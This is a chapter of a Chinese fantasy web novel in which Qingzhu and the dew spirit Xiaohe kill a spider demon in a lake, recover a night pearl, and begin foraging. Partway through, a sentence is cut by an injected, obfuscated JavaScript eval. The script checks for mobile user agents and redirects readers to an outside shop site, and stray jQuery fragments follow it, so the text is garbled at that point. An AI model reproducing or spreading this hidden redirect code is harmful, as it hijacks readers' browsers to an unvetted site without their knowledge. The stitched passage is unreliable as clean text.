独眼蜘蛛嘶吼一声,挣扎着甩动头颅,想要将眼中的刺挣出去。
可那枚竹刺沾上过青烛的血液,青烛被蜘蛛丝缠着不得呼吸,它又哪里能将蜘蛛妖这般堪堪放过,只拼命往眼里钻下去、再钻下去。
随着蜘蛛的动作,湖底被搅出一个巨大的漩涡。成千上万条银白蛛丝断开,缠成一团。
蜘蛛痛苦地哀嚎着,抓着青烛和小禾的触须纷纷放开,涌向眼中去寻找那枚小小的尖刺。
青烛一直被掐着脖子,下意识想要呼吸,猛呛了一口水。小禾及时游到青烛身边,抓着她的耳朵往上揪。
又听得蜘蛛妖大叫一声,青烛彻底清醒,使劲划水找着方向。
那触须从四面八方收回湖底,搅动出股股浪流。
那妖在底面,所以只要逆着被触须带出的浪流方向,就是上游了!青烛屏着呼吸左躲右闪,边摸索着方向边朝着上方游去。
触须全数冲进蜘蛛的眼睛。但那眼睛就这么点大,哪里塞得下这么多触须。它们执着地在眼球中找那根刺,将眼眶撑大撑裂,往外喷血,完全没有要停下来的意思。
蜘蛛的嚎叫越来越大声,此时的痛楚远远比那一小根刺带来的更要强烈。
那些触须似乎完全不受控制,嚎叫声越大,反而越往眼球中钻。蜘蛛声嘶力竭,终于猛地一拉,将整颗眼球扯了下来,半边浑圆,半边血肉模糊、稀稀拉拉一团。
蜘蛛妖心知自己已经到了弥留之际,将空洞的眼光精准对向已经游到半程的青烛,癫狂般喷出血丝。血污洇散,将湖底染得粘稠无比。
青烛无法呼吸,身体也越来越沉重。
她努力与浪流对抗,却由于体力不支,被一条乱甩的触须迎面击中,牙膛狠狠一酸。
小禾体内储蓄的灵力也快要溢散干净,再这样下去,她马上就要恢复原形。若在这样暗不见底的湖中变成露水,一定会被撕扯地干干净净。
“阿烛!阿烛!”
青烛被那条触须打得彻底没了力气,只觉得躯体正在下沉。小禾的声音微弱无比,似乎正在朝自己飞来。
快走……快走啊……
那东西突然暴走了!不要管我、快走……怎么这么傻呢!你现在来,也救不了我啊。
瞬间,触须终于将青烛找到,紧密地裹住。
青烛像蛹一样被蛛丝包裹起来,拖向它狰狞的口器。
完了,说好的撑过三个时辰,现在估计才一个小时吧,居然才六分之一就不行了吗。
好想说句遗言。小禾现在还在傻傻地游过来吗?千万不要来,千万不要来啊。
如果你能听到的话,等我死后换一个“大人”跟随吧。明明我现在这么弱,只能算是很小很小的人,这世界上也就只有你会这么称呼我了……
[阿烛!]
[???]
[阿烛!我用竹刺扎瞎了那东西的眼睛,它已经快不行了!]
[不早说!]
不是质疑设定的时候了。青烛用仅剩的力气垂死挣扎,如她所料完全动弹不得。
瞬间,恶臭无比的血腥味将她彻底笼罩。除此之外,还有稀里哗啦的呼吸声,咕噜声。
蜘蛛妖关闭口器,停止了挣扎。
水底逐渐恢复平静。
一息。
两息。
三息。
小禾呆呆地望着那坨模糊的肉团,停止游动。
四息。
“噗——!”
[哈哈哈哈哈!]
一根白森森的尖刺,从蜘蛛的左面贯穿而出。
青烛从刺出的洞中钻了出来,粘稠的血迹糊了一身。
她狡黠地笑着,抹开嘴唇,吐出满嘴的血和两颗牙齿。
[快上去!]
小禾震愣又惊喜,马上反应过来,在心中应了一声,飞速游走。
漆黑,还是漆黑,分辨不清方向。迷茫片刻之后,身下却有光亮缓缓亮起。
蜘蛛妖死了。它的躯体正在逐渐消逝,变成一条条银丝。湖中央似乎有什么东西,抽毛线般将它抽解开,露出内里,原本被搅得血肉模糊的眼睛,却逐渐复原,逐渐恢复白色,变成了另一样东西。
一颗手掌大小的夜明珠,从湖底缓缓上升,追逐着她二人的身影而去,将水底照亮。
依着这亮光,二人终于顺利游出巨湖。睁眼一瞧,却是终于得见天明了。
青烛爬在地上,一口血一口水的呸着。小禾担忧地卧在她嘴边,不知道发生了什么状况。
“那东西把我的牙撞掉了。”
青烛虚弱地睁开眼,嘿嘿一笑,露出缺了一颗的门牙,然后艰难地挪出手扒开口腔,指了指里面的臼齿。
“两颗。”
小禾终于哇的一声哭了出来。
“哎呀……别哭、别哭。”
“呜呜呜……”
“好饿。”青烛懒洋洋地瘫在地上,哀叫道。
她翻了个身,将手边那颗夜明珠揽进怀里,仔细一瞧,上面还粘着一根长长的睫毛。
这该不会是那东西的眼睛吧。
青烛想起蜘蛛妖口腔中的气味,又呕了,吐出一滩酸水。
“好臭。”
小禾已经默默地变成一滴露水了,挂在青烛的睫毛上。青烛跑到远处的林子里薅了一片树叶,将她仔细包裹起来。
[这样你还能听到吗?]
没有回应。
看来应该是不行的。
青烛将夜明珠洗干净,精疲力尽地躺回去,仔细复盘着这一次的宝贵经历。
手上这颗珠子,大概是从蜘蛛妖身上掉下来的,不管是眼睛还是什么,就把它当作是战利品。
青烛摸着脸颊,觉得被撞掉牙齿的那边彻底肿起来了。
说起来,这东西好像怕她的血。
要不是它的触角撞了她一下,把她的牙撞歪了,弄出那么多血,青烛根本不会发现。
当时她被裹成一个蛹,拼命挣扎的时候,突然就觉得嘴上缠着的丝崩开了。血逐渐从嘴角渗出来,流到脖子上,于是脖子上的丝也开始崩裂。
青烛发现了什么,于是狠狠捅了自己一拳,喷在自己身上。
站在蜘蛛的口器里,幸亏能吸到一点氧气。她在口器中发现了一具人的尸骨,使出浑身力气拔下一根骨头,狠狠刺穿它的口腔,才得以逃脱。
这蜘蛛应该是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535976|203476||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
妖,还会吃人。
想到这里,她不禁严肃起来,沉默了良久,思绪万千。
这如果是猴王豢养的妖,那猴王究竟是好是坏?但如果不是,她又被送到了哪里,为什么会有这么奇怪的地方,奇怪的地方里还有这么奇怪的妖。
还是说,妖本就是会吃人的,只是她不知道。
很明显,这个世界背后还蕴藏着很多很多她不搞不明白的事,需要一件一件的弄清楚。
青烛的肚子叫了一声,她咽了咽口水,肚子叫得更大声了。
不行不行,现在不是管肚子吃没吃饱的时候。
好像记得还有一个事,还有什么事来着?
对了!
记得那时候,小禾突然远程对她传了句话。
就像突然对上脑电波一样,她们之间居然能隔空交流了!
青烛掏出兜里的叶子,又在心里试着叫了小禾一遍。
[如果听到了,你就回应一声。]
啊呀不对不对!
她觉得尴尬无比。
人果然还是不能饿啊。青烛默默地将叶子收起来,夜明珠包在了脱下来的衣服里,朝着湖边走去。
这里有没有鱼什么的呢?
不对不对,就算是有她也不敢吃,这可是那蜘蛛妖呆过的地方。
往边上试着走了走,被人施了结界。
于是便往林子走去。
经过上次在瘴气林里的遭遇,青烛对林啊木啊什么的东西都差点有些应激。不过要想找到吃的,恐怕只能在这里里面找了。
而且那湖边全是高耸入云的山脉,根本爬不上去的,况且有结界,说明路应该也不会在那里。
不知道季洄生现在怎么样了。
距离她被傀儡抓走,从那可恶的童颜老兔妖手中逃脱,又下山、再上山,遇到猴王,一直到现在,已经过了好几天了。
但猴王说,“他”尚且平安。
平安,应该至少是活着吧?
活着就行。
她蹲在林子边上看了一圈,找到几丛矮灌木,上面挂着些紫黑色的小果子。她摘了一颗,在手上捏了捏,把汁水捏出来,没什么怪味。
这好像不是那傀儡强行喂给自己的东西。
但肯定还是不能吃的。
青烛决定还是做一个陷阱,就算这次再不小心猎到妖,她也认了。
上次那回,还真是倒霉的很。青烛回想了一下刚见到童颜老妖的样子,忽然有点得意。
能第一眼就认出那是只兔妖,怎么不算一种天赋呢?况且就算忽略他头上的兔耳,青烛也觉得自己能将他认出来。
分明就是之前那只狡幸逃脱的野兔嘛。
那眼神,那嘴巴,开口那副样子。跟当时那野兔蹬她脸的时候一模一样。
妖族能活这么久的嘛?那老东西好像说自己已经一百多岁了。
那小禾应该也能活很久吧?露水天生地养,水循环一下的话说不定还能永生呢。
青烛蹲在地上,一点一点拔着杂草。想收拾一点燃料来生火,思绪逐渐飘向太空。
小禾说,她是露水精。精怪精怪嘛,在这种事上应该都是差不多的。